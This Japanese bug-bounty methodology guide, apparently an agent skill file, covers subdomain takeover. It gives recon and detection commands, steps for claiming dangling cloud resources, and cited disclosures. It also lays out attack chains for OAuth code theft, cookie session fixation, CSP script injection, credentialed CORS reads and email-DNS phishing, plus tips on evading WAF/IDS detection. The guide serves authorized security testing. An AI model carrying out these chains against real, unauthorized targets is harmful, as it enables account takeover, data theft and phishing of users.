hunt-subdomain

最重要の標的

サブドメインテイクオーバーは高い価値があります。攻撃者が企業所有の信頼できるドメインからコンテンツを配信できるため、ブラウザーの同一オリジンに対する信頼、フィッシングフィルター、ユーザーの警戒心を同時に回避できるからです。

特に高額な報奨金が期待できる状況：

• 大手 SaaS ブランド（Shopify、Snapchat、Mozilla、Yelp）のサブドメインで、信頼できるドメインにユーザーのセッション情報が関連付けられている場合
• CNAME が未登録のオリジンを指している、CDN を利用したサブドメイン（Fastly、CloudFront）
• サードパーティサービスとの連携：UserVoice、WordPress.com、GitHub Pages、GitLab Pages、Heroku、Zendesk
• プレビュー／ステージング／開発用サブドメイン（new.、preview.、course.、delivery.、addons-preview.）— 機能公開後に放置されているもの
• OAuth リダイレクト URI や SSO エンドポイントに使われるサブドメイン — これらは最高額の報奨金が期待できます

特に重要なアセットの種類：

• 廃止されたサードパーティサービスを指す CNAME レコード
• 放置されたゾーンへの NS 委任
• 割り当てられていないクラウド IP を指す A レコード（比較的まれ）
• 未登録のプロジェクト名前空間がある GitLab/GitHub Pages

---

攻撃対象領域の兆候

DNS の兆候：

• *.github.io、*.gitlab.io、*.fastly.net、*.herokudns.com、*.wordpress.com、*.uservoice.com、*.zendesk.com、*.s3.amazonaws.com、*.azurewebsites.net、*.netlify.app を指す CNAME
• 親レコードは残っているのに、CNAME の参照先が NXDOMAIN または SERVFAIL を返す
• ゾーンが登録されていないレジストラへ委任する NS レコード

HTTP レスポンスの兆候：

• "There isn't a GitHub Pages site here"
• "NoSuchBucket"（S3）
• "The specified bucket does not exist"
• "No such app"（Heroku）
• "Sorry, this shop is currently unavailable"（Shopify）
• "This UserVoice subdomain is available"
• "Do you want to register"（あらゆるドメインパーキングページ）
• プロバイダー固有のエラーテンプレートを伴う HTTP 404
• Fastly：「"Fastly error: unknown domain"」
• "404 Web Site not found"（Azure App Service）

技術スタックの兆候：

• レスポンスヘッダー：X-Served-By: cache-*（Fastly）、X-GitHub-Request-Id、Server: Netlify
• CNAME チェーンがプロバイダーのインフラストラクチャに解決されるものの、プロバイダーの 404 を返す
• SSL 証明書が企業ドメインではなく、プロバイダーのワイルドカード（*.fastly.net）に対して発行されている

---

手順に沿った調査方法

1. パッシブおよびアクティブな情報源を使って、対象のすべてのサブドメインを列挙します。

   • subfinder -d target.com -all
   • amass enum -passive -d target.com
   • assetfinder --subs-only target.com
   • 証明書の透明性ログ：crt.sh/?q=%.target.com

2. すべてのサブドメインを名前解決し、以下に該当するものを特定します。

   • NXDOMAIN 応答
   • サードパーティープロバイダーを指す CNAME

   cat subdomains.txt | dnsx -a -cname -o resolved.txt
   

3. nuclei または subjack を使って、CNAME を既知の脆弱なプロバイダーのフィンガープリントと照合します。

   subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c fingerprints.json
   nuclei -l subdomains.txt -t takeovers/
   

4. 該当する各サブドメインを手動で検証します。

   • dig CNAME subdomain.target.com — CNAME が存在することを確認します
   • dig A <cname-target> — NXDOMAIN または名前解決されないことを確認します
   • curl -sk https://subdomain.target.com — プロバイダーのエラー文字列を確認します

5. リソースを取得できることを確認します。リソースの登録を試みます。

   • GitHub Pages：<username>.github.io/<repo> または組織のページが未取得か確認します
   • GitLab Pages：プロジェクトの名前空間を確認します
   • S3：aws s3api create-bucket --bucket <bucketname> を試します
   • UserVoice/Zendesk/WordPress：登録 URL にアクセスします
   • Fastly：オリジンのホスト名が未登録か確認します

6. リソースを取得します（制御権の証明に必要な範囲に限り、悪意のあるコンテンツは配信しないでください）。

   • HackerOne のユーザー名とタイムスタンプを記載した最小限のインデックスページを作成します
   • subdomain.target.com で自分のコンテンツが配信されていることを示すスクリーンショットを撮影します

7. 一連の流れを記録します：CNAME レコード → プロバイダーのターゲット → 未取得のリソース → 自分のコンテンツ

8. 影響の拡大可能性を評価します。

   • サブドメインは OAuth リダイレクト許可リストに含まれていますか？
   • 親ドメインと Cookie を共有していますか（domain=.target.com）？
   • アプリの CSP で参照されていますか？
   • 認証済み API 呼び出しを受信できますか？

9. 取得したリソースを手放す前にレポートを作成します（先に検証することを望むプログラムもあります）。

---

ペイロードと検出パターン

CNAME の一括抽出と NXDOMAIN の検出：

# Extract CNAMEs and check if target resolves
while read sub; do
  cname=$(dig +short CNAME "$sub" | head -1)
  if [ -n "$cname" ]; then
    result=$(dig +short A "$cname")
    if [ -z "$result" ]; then
      echo "[POTENTIAL] $sub -> $cname (NXDOMAIN)"
    fi
  fi
done < subdomains.txt

Nuclei によるテイクオーバーのスキャン：

nuclei -l subdomains.txt -t ~/nuclei-templates/http/takeovers/ -severity medium,high,critical

SSL を使った subjack：

subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c $GOPATH/src/github.com/haccer/subjack/fingerprints.json -v

プロバイダーのフィンガープリント用 grep パターン：

curl -sk "https://$subdomain" | grep -iE \
  "there isn't a github pages|no such bucket|no such app|this uservoice|fastly error: unknown domain|do you want to register|sorry, this shop|project not found|404 not found|unclaimed"

Cookie のスコープにサブドメインが含まれるか確認（親ドメインの共有）：

curl -Isk "https://target.com" | grep -i "set-cookie" | grep "domain=.target.com"

Fastly 固有の検出：

curl -sI "https://subdomain.target.com" -H "Host: subdomain.target.com" | grep -i "fastly\|x-served-by\|x-cache"
curl -sk "https://subdomain.target.com" | grep -i "fastly error"

未取得の S3 バケットの確認：

aws s3api head-bucket --bucket <extracted-bucket-name> 2>&1 | grep -i "NoSuchBucket\|403\|404"

GitLab Pages 固有の検出：

dig CNAME sub.target.com
# If pointing to *.gitlab.io — visit the gitlab.io URL directly
# 404 from gitlab.io project = claimable

---

よくある根本原因

1. DNS を整理せずにサービスの利用を終了 — 開発者が Heroku アプリ、UserVoice アカウント、または WordPress サイトを削除しても、CNAME レコードを削除しません。DNS は永久に残りますが、サービスは残りません。

2. リリース後に放置されたステージング／プレビュー環境 — 製品のリリースに向けて用意された course.、new.、preview.、beta. サブドメインがサードパーティーを指したままになり、キャンペーン終了後に放置されます。

3. サードパーティーチームが用意したサブドメイン — マーケティング部門が IT 部門を通じて UserVoice または Zendesk のサブドメインを設定し、製品の提供終了によってサービスが停止しても、DNS を管理するエンジニアリング部門はそれを把握していません。

4. オリジン検証を行わない CDN の設定ミス — Fastly などの CDN では、歴史的に、ホスト名を指すサービスを作成するだけで、任意のドメインからバックエンドのホスト名を「取得」できる場合がありました。未登録のオリジンホスト名は取得可能になります。

5. GitHub/GitLab Pages の名前空間が確保されていない — 組織名の変更、ユーザーアカウントの削除、またはリポジトリの非公開化／削除後も、Pages の CNAME が古い名前空間を指したままになっています。

6. ワイルドカード DNS エントリー — *.target.com がクラウドプロバイダーを指していると、取得されていない任意のサブドメインが、取得可能なインフラに解決される可能性があります。

7. 買収／売却した企業の DNS が整理されていない — 買収後も、旧ブランドのサブドメイン（Shopify 傘下の oberlo.com など）が、料金の支払いを停止したサービスを指したままになっています。

---

バイパス手法

防御：公開前に手動でフィンガープリントを確認する

• バイパス：別のエラーメッセージを使います。プロバイダーは404ページを変更することがあります。最新のフィンガープリントリストを維持してください。HTTPとHTTPSで異なるエラーを表示するプロバイダーもあります。両方をテストしてください。

防御：スコープの制限（メインドメインのみが対象）

• バイパス：プログラムのアセット一覧を慎重に確認してください。*.target.com のワイルドカードには、サブドメインが暗黙的に含まれることがよくあります。影響を示して対象範囲に含めてもらいましょう。

防御：タイミングが原因で「再現できない」と回答される

• バイパス：報告後、すぐにスクリーンショットを撮影してください。操作手順を動画で記録してください。人気のあるサブドメインでは、機会が短時間しかない場合があります。

防御：HTTPS証明書の不一致により、証明が阻まれる

• バイパス：一部のプロバイダー（GitHub Pages、Netlify）は、要求されたドメインに対してTLSを自動で設定します。一方、そうでないプロバイダーもあります。その場合はHTTPでの乗っ取りを示し、プロバイダー側で取得後にTLSが解決されることを明記してください。

防御：プロバイダー側の検証（Fastlyによるドメイン所有権の確認）

• バイパス：Fastlyの設定によっては、オリジンのホスト名を検証しません。CNAMEの宛先が汎用のFastlyバックエンドホスト名なのか、顧客による検証済みのホスト名なのかを確認してください。実際に取得を試みて、挙動を確認してください。

防御：サブドメイン列挙のレート制限

• バイパス：WAF/IDSの検知を避けるため、受動的な情報源（SecurityTrails、Shodan、crt.sh、VirusTotal）のみを使用してください。DNSの名前解決ではWebサーバーにアクセスしません。

防御：プログラムが「深刻度が低い／影響がない」と主張する

• バイパス：同一オリジンのCookie窃取、OAuthリダイレクトの悪用、またはCSPのバイパスを実証し、影響を示してください。JS内の postMessage の targetOrigin チェックで、そのサブドメインが指定されているかを確認してください。

---

ゲート0の検証

1. 攻撃者は今、何ができますか？ 未取得のリソース（GitHubリポジトリ、S3バケット、Herokuアプリ、UserVoiceアカウント）を登録し、フィッシングページ、認証情報を収集するページ、悪意のあるスクリプトなど、任意のコンテンツを対象の信頼されたドメイン名で配信できますか？

2. 被害者は何を失いますか？ ユーザーは信頼と安全を損ないます。企業ブランドのURLで攻撃者のコンテンツが配信されるのを目にするためです。企業はブランドの完全性を損ない、サブドメインが domain=.target.com のスコープに含まれている場合、セッションCookieが漏えいする可能性があります。また、OAuth/SSOフローが乗っ取られるおそれもあります。CSPの設定によっては、メインアプリケーションに対するXSSが可能な場合があります。

3. 最初から10分以内に再現できますか？

   • dig CNAME subdomain.target.com → プロバイダーへのCNAMEを確認します
   • curl -sk https://subdomain.target.com → プロバイダーのエラーメッセージを確認します
   • プロバイダーの登録ページにアクセス → 名前空間が利用可能であることを確認します
   • 3つの手順すべてのスクリーンショットがあれば、10分以内に再現できます

プロバイダーのリソースが現在取得されておらず、取得可能であることを示せない場合、有効な報告にはなりません。

---

実際の被害例

シナリオ A — 放棄された SaaS を経由した信頼できるブランドのフィッシング（Snapchat/UserVoice） 攻撃者が、feedback.snapchat.com の CNAME が UserVoice のサブドメインを指していることを発見します。UserVoice のアカウントは解約されていましたが、DNS レコードは残っていました。攻撃者は対応する UserVoice のサブドメインを無料で登録し、feedback.snapchat.com を制御できるようになります。古いブックマークや Google の検索結果などからこの URL にアクセスしたユーザーには、Snapchat ブランドのドメイン上に攻撃者が管理するコンテンツが表示されます。ブラウザーから信頼されているドメインであるため、このサブドメインから送信されるフィッシングキャンペーンは、ドメインの評判を確認するメールセキュリティフィルターを回避します。

シナリオ B — CDN オリジンの乗っ取りによる同一オリジン攻撃（Mozilla/Fastly） addons-preview-cdn.mozilla.net の CNAME は、Mozilla の Fastly アカウントに登録されていない Fastly オリジンのホスト名を指していました。攻撃者はそのオリジンのホスト名を申告して Fastly サービスを作成でき、addons-preview-cdn.mozilla.net へのすべてのリクエストが、攻撃者の管理する Fastly インフラストラクチャに転送される可能性がありました。このサブドメインは mozilla.net ドメインを共有しているため、Mozilla のインフラストラクチャから配信されているように見える悪意ある CDN アセットを配信するのに悪用でき、*.mozilla.net を許可リストに登録している CSP ルールを回避できる可能性があります。

シナリオ C — 製品移行後に放棄されたステージング用サブドメイン（Rails/GitHub Pages） new.rubyonrails.org は、ウェブサイトのリニューアルプロジェクト用に GitHub Pages のデプロイメントを指していました。新しいサイトの公開後、古い GitHub リポジトリが削除または非公開にされても、DNS の CNAME は残ったままでした。攻撃者は対応する GitHub Pages リポジトリをフォークまたは作成してその名前空間を取得し、new.rubyonrails.org 上でコンテンツを配信できました。これは Ruby on Rails の公式ドメインであるため、偽のダウンロードリンクや悪意ある gem を含む、そこで配信されるあらゆるコンテンツが Rails ブランドの全面的な信頼を帯びます。

---

公開済みレポートの引用（2022-2023）

以下の協調的な開示／報告事例では、最新のプロバイダーフィンガープリント（Vercel／Azure cloudapp／Zendesk 時代）と、明示的な ATO チェーンの例を用いて、このスキルを拡張します。引用 #12 と #13 は外部の報告記事（公開済み HackerOne レポートではありません）です。報奨金額は未検証として扱ってください。公開 H1 レポート ID があるのは #14 のみです。

12. Microsoft Azure DevOps — 2 つの cloudapp.azure.com サブドメイン + ワイルドカード *.visualstudio.com OAuth reply_to → 1 クリック ATO（Binary Security の報告記事）

    • サブクラス：Azure の cloudapp.azure.com リージョナルプールにおけるダングリング CNAME — ATO につながる
    • ATO チェーン：あり — app.vssps.visualstudio.com/_signin?reply_to=https://feedsprodwcus0dr.feeds.visualstudio.com/ は任意の *.visualstudio.com を許可リストに登録していました。攻撃者はダングリング状態の Azure VM ホスト名を取得し、攻撃者が管理するエンドポイントに JWT + FedAuth トークンを返すサインイン URL を作成しました
    • 取得フロー：ダングリング状態の cloudapp.azure.com CNAME を特定し、同じ Azure リージョンに無料枠の VM をデプロイして、解放されたホスト名を正確に指定します。Azure は先着順でその名前を再発行します
    • 年：2021 年 2 月に報告、2022 年 11 月に開示 — MSRC はサブドメイン乗っ取りに依存していたため、明確に対象範囲外と判断。$0

13. 匿名の H1 — admin-support.xyz.com → 未登録の Zendesk → メール傍受 → ATO（0xprial による報告記事）

    • サブクラス：xyzdocs.zendesk.com のホストマッピングを介した Zendesk ヘルプデスクの乗っ取り
    • ATO チェーン：あり — 研究者は乗っ取った Zendesk インスタンスでメール転送を設定し、支払い情報とパスワードリセットメールを含む [email protected] 宛てのチケットを傍受しました。その後、顧客アカウントのパスワードリセットを実行し、リセットリンクを攻撃者の Zendesk 受信箱に配信させました
    • 取得フロー：dig CNAME の結果が xyzdocs.zendesk.com（未登録）→ 無料の Zendesk トライアルに登録 → xyzdocs をサブドメインとして追加 → admin-support.xyz.com のホストマッピングを有効化
    • 年：2023 年 — 0xprial の報告記事に記載された報奨金（ブログが情報源。公開 HackerOne レポート ID はなく、未検証として扱ってください）

14. Vercel の削除済みプロジェクトの乗っ取り — 削除された Vercel プロジェクトを指すダングリング状態の cname.vercel-dns.com CNAME は、その名前で新しいプロジェクトをデプロイすることで再取得できます。

    • サブクラス：プロジェクト削除後の Vercel ダングリング CNAME（cname.vercel-dns.com）
    • 影響：暗号資産 DEX へのフィッシング — proxies. サブドメインは RPC プロキシのルーティングで信頼されていました。攻撃者は「信頼された」サブドメイン上で、ウォレットの資金を抜き取る悪意のある JS を配信できました
    • 取得フロー：サブドメインが Vercel 404 DEPLOYMENT_NOT_FOUND を返す → 無料の Vercel プロジェクトを作成 → Settings → Domains → proxies.sifchain.finance を追加 — Vercel は既存の CNAME を検証し、帯域外の所有権証明なしで TLS を自動発行します
    • 年：2022 年 — Sifchain はこれを重大（web3 フィッシングベクトル）として扱いました

Fastly CDN のダングリングサービス手法（一般論。単一の公開済みレポートではありません）：

• フィンガープリント：サブドメインが Fastly error: unknown domain. Please check that this domain has been added to a service を返す
• 取得フロー：Fastly の無料トライアルに登録 → 新しい CDN サービスを作成 → ダングリング状態のホスト名をサービスドメインとして追加
• 根本原因：Fastly は従来、サービス作成時に CNAME の所有権を検証していません。Fastly のエニーキャストを指す CNAME は、どれでも新しいサービスに紐付けられます
• ATO チェーンの可能性：親ドメインが assets.／CDN ホストを script-src で信頼している場合、CSP バイパス + JS インジェクションにつながります

---

チェーンと組み合わせ（上級者向けハンティング）

サブドメインの乗っ取り単体は、成熟したプログラムの大半では低〜中程度／情報提供レベルです。ビジネス上重要ではないサブドメインの改ざんには魅力がありません。チェーンでの報奨金は単体の 10〜100 倍です。**すべての乗っ取りについて、提出前に以下の 5 つのチェーンに当てはまるか評価してください。**どれも当てはまらなければ低、1 つ当てはまれば高、2 つが組み合わされば重大です。

チェーン 1 — テイクオーバー + OAuth redirect_uri の許可リスト → 認証コードの窃取 → ワンクリック ATO

• A. /oauth/authorize フローを介して OAuth の redirect_uri 許可リストを列挙します。*.target.com などのワイルドカードや、静的リストに含まれるテイクオーバー候補のホスト名（例：feedsprod.feeds.visualstudio.com、legacy.target.com）を探します。
• B. 許可リスト内でテイクオーバー可能なサブドメインを見つけます。プロバイダーのオンボーディング手順を使って取得します（Vercel プロジェクト、Azure の cloudapp リージョナルプール、S3 バケット、Heroku アプリ、Zendesk、Shopify ストアフロント — 上記の開示済みレポートの引用を参照）。
• C. 取得したサブドメインに OAuth コールバック受信エンドポイントをホストします。被害者を /oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&client_id=<legit> に誘導します。被害者のブラウザーにはすでにセッションがあるため、認証は透過的に行われ、認証コードが攻撃者のホストに届きます。トークンエンドポイントを介して交換すれば、ATO が成立します。
• 影響： 対象のすべてのユーザーに対する、持続的なワンクリック ATO です。OAuth フローはユーザーに気付かれずに進み（以前に同意していれば同意画面が表示されないため）、攻撃者のリンクを 1 回クリックさせるだけで実行できます。
• 実例： Microsoft Azure DevOps の cloudapp.azure.com とワイルドカード *.visualstudio.com の reply_to チェーン（Binary Security、2022 年 11 月 — 開示済みレポートの引用 #12）。許容範囲の広い OAuth 許可リストを持つ SaaS プログラムで、H1 への報告が複数あります。

チェーン 2 — 隣接サブドメインのテイクオーバー + Cookie ドメインのワイルドカード → 親アプリでのセッション固定

• A. メインアプリ（app.target.com）が設定する Cookie を調べます。Set-Cookie にホスト限定ではなく、親ドメインをスコープとする Domain=.target.com が指定されている場合、Cookie は乗っ取り済みのものも含むすべての隣接サブドメインに漏えいします。
• B. 任意の隣接サブドメイン（legacy.target.com、feedback.target.com、assets.target.com）をテイクオーバーします。これにより、取得したホストから親ドメイン向けの Set-Cookie を設定できるようになります。
• C. 取得したホスト上のスクリプトから、Set-Cookie: SESSIONID=<attacker_session>; Domain=.target.com を仕込みます。被害者が攻撃者のセッション Cookie を付けた状態で app.target.com にアクセスすると、サーバーは被害者を攻撃者のアカウントとして扱い、セッション固定による ATO が成立します。
• 影響： OAuth もパスワードリセットも不要な ATO です。Cookie ドメインの漏えいだけで成立します。親アプリが __Host- プレフィックスのないセッション Cookie を使っている場合、特に効果的です。
• 実例： hunt-auth-bypass の Duende BFF 攻撃クラス 2 で詳しく解説されています（Cookie ドメインのワイルドカード化により、サブドメインのテイクオーバーがセッション固定につながります）。このパターンの分類：S3 バケットのテイクオーバーと、親ドメインをスコープとする（Domain=.target.com）Cookie の組み合わせです。

チェーン 3 — テイクオーバー + CSP の script-src に取得したホストが含まれる → メインアプリでの永続的な格納型 XSS

• A. メインアプリの HTML レスポンスにある CSP ヘッダーを調べます。script-src 'self' assets.target.com cdn.target.com legacy.target.com ... のような記述を探します。
• B. CSP の許可リストに含まれるサブドメインを 1 つテイクオーバーします（特によくあるのは、削除済み CDN、削除済み Vercel／Netlify プロジェクト、アーカイブされた分析サービスを指す古い CNAME です）。
• C. テイクオーバーしたホストに、攻撃者が制御する JavaScript をホストします。そのホストは CSP の許可リストにあるため、メインアプリのすべてのページ読み込みで <script src="//taken-over-host/x.js"> が取得されます。JavaScript はメインアプリのオリジンで実行され、セッションへの完全なアクセスが可能になり、同一オリジンの任意の API を呼び出せます。
• 影響： メインアプリのすべてのページで格納型 XSS と同等の状態が、CSP が更新されるまで持続します。JavaScript のソースは CSP によって「信頼済み」とされるため、あらゆる入力サニタイザーを回避します。
• 実例： Sifchain の proxies.sifchain.finance における Vercel テイクオーバー — 開示済みレポートの引用 #14（web3 フィッシング）。このパターンは、2020〜2024 年の H1 への複数の報告で文書化されています。

チェーン 4 — テイクオーバー + CORS の Access-Control-Allow-Origin 正規表現マッチ → 認証情報付きクロスオリジン API 読み取り

• A. API の CORS 設定を調べます。Access-Control-Allow-Origin に、*.target.com または target.com.* を含む正規表現／ワイルドカード／サフィックスマッチがないか確認します（後者はよくあるバグです）。
• B. CORS の正規表現で許可されるサブドメインをテイクオーバーします（または、サフィックスマッチが壊れている場合は新しい target.com.attacker.com ホストを登録します）。
• C. テイクオーバーしたサブドメインでホストした攻撃者のページから、fetch('https://api.target.com/account', {credentials:'include'}) を実行します。CORS のプリフライトが通過し、サーバーが認証情報付きのレスポンスを返します。攻撃者の JS がその内容を読み取ります。
• 影響： 認証情報を使った、テナントをまたぐ大規模な API 読み取りが可能になります。セッション、PAT、アカウントデータ、請求記録など、すべてに単一の攻撃者ページからアクセスできます。
• 実際の事例： 複数の開示事例があります。hunt-api-misconfig の CORS サブセクションを相互参照してください。hunt-misc のステップ 1（CORS 正規表現の列挙）と組み合わせます。

チェーン 5 — メール DNS（DKIM / SPF / MX）のテイクオーバー → メールのなりすまし → 親ブランドを信頼させるフィッシング

• A. 対象のメール DNS を列挙します。DKIM セレクター（selector1._domainkey.target.com）、SPF の include（include:_spf.takeover-candidate.com）、MX レコード（mx.target.com → defunct-provider.example）を確認します。
• B. DKIM セレクターまたは SPF の include ホストをテイクオーバーします。これで攻撃者は、自分のサーバーが @target.com を差出人としてメールを送信することを許可する DKIM / SPF レコードを公開できます。
• C. 被害者に From: [email protected] のフィッシングメールを送信します。テイクオーバーしたサーバーが許可されているため、受信者側のメールサーバーは SPF と DKIM のチェックを通過させます。メールは target.com ブランドのメールとして、セキュリティ警告なしで受信トレイに届きます。
• 影響： 親ブランドを悪用した、非常に効果的なフィッシングキャンペーンが可能になります。認証チェックがすべて通過するため、被害者はメールを信頼します。認証情報の窃取、BEC 詐欺、サプライチェーンへのアクセスにつながります。
• 実際の事例： DKIM セレクターのテイクオーバー／SPF include チェーンの乗っ取りに関する過去の開示事例が複数あります。offensive-osint の DMARC / SPF / DKIM セクションを相互参照してください。

オペレーター向けのパターン

上記の 5 つのチェーンは、実務上ほぼ網羅的です。上級層向けのサブドメインテイクオーバー報奨金は、事実上すべてこのいずれかに該当します。テイクオーバーを報告する前に、次のチェックリストを確認してください。

1. OAuth の redirect_uri 許可リスト — テイクオーバーしたホストが含まれていますか？ → チェーン 1、クリティカル。
2. 親ドメインの Cookie — メインアプリは Domain=.target.com を設定していますか？ → チェーン 2、ハイ。
3. CSP の script-src — テイクオーバーしたホストが許可リストに含まれていますか？ → チェーン 3、クリティカル。
4. CORS 許可リスト — テイクオーバーしたホストにマッチする正規表現はありますか？ → チェーン 4、ハイ。
5. メール DNS（DKIM セレクター / SPF include） — テイクオーバーしたホストが含まれていますか？ → チェーン 5、ハイ。

該当するものがない場合は、低または参考情報として報告します。これらのチェーンのいずれかを実証せずにクリティカルとして報告しないでください。そうしないと、トリアージ担当者によってすぐに格下げされます。

相互参照：

• hunt-oauth — チェーン 1（redirect_uri バイパスのクラス）
• hunt-auth-bypass の Duende BFF 攻撃クラス 2 — チェーン 2（Cookie のスコープ設定）
• hunt-xss のチェーン 4 — チェーン 3（信頼されたオリジンの JS による CSP バイパス）
• hunt-api-misconfig の CORS セクション — チェーン 4
• offensive-osint のメールセキュリティセクション — チェーン 5

---

関連スキルとチェーン

• hunt-cloud-misconfig — 古い CNAME の多くは、削除済みのクラウド資産（S3、CloudFront、Heroku）を指しています。チェーンのプリミティブ：クラウド設定ミス（S3 の削除）＋ hunt-subdomain → 未取得の CNAME がバケットを指す → バケット名を取得 → サブドメインを完全に制御。
• hunt-oauth — OAuth の redirect_uri ホストを乗っ取ると、SSO の全体にわたって ATO が持続します。チェーンのプリミティブ：auth.target.com のサブドメイン乗っ取り＋OAuth の redirect_uri 許可リスト → 認証コードの窃取 → 再認証するすべてのユーザーの ATO。
• hunt-api-misconfig — CORS の正規表現では、乗っ取り可能なサブドメインが許可リストに登録されていることがよくあります。チェーンのプリミティブ：サブドメイン乗っ取り＋認証情報を許可する CORS *.target.com → 認証情報付きクロスオリジン API 読み取り → 大規模な IDOR。
• hunt-xss — 取得したサブドメインは、セッション Cookie のドメインを共有するサブドメインと同一オリジンになります。チェーンのプリミティブ：feedback.target.com のサブドメイン乗っ取り＋Cookie のスコープ .target.com → 乗っ取ったホストでホストされる JS がメインアプリの Cookie を読み取る → セッションハイジャック。
• security-arsenal — 27 種類以上のサブドメイン乗っ取りフィンガープリントテーブル（NoSuchBucket、「no such app」、GitHub Pages の 404 文字列、Heroku、Shopify、Fastly）と、subzy／subjack の自動化パターンを読み込みます。
• triage-validation — Unique-Marker ゲートを適用します。乗っ取りの主張だけでは情報提供にとどまります。取得したホストに固有の HTML マーカーを公開し、さらに下流への影響（Cookie の読み取り、OAuth チェーン、CSP バイパス）を実証した場合にのみ報告してください。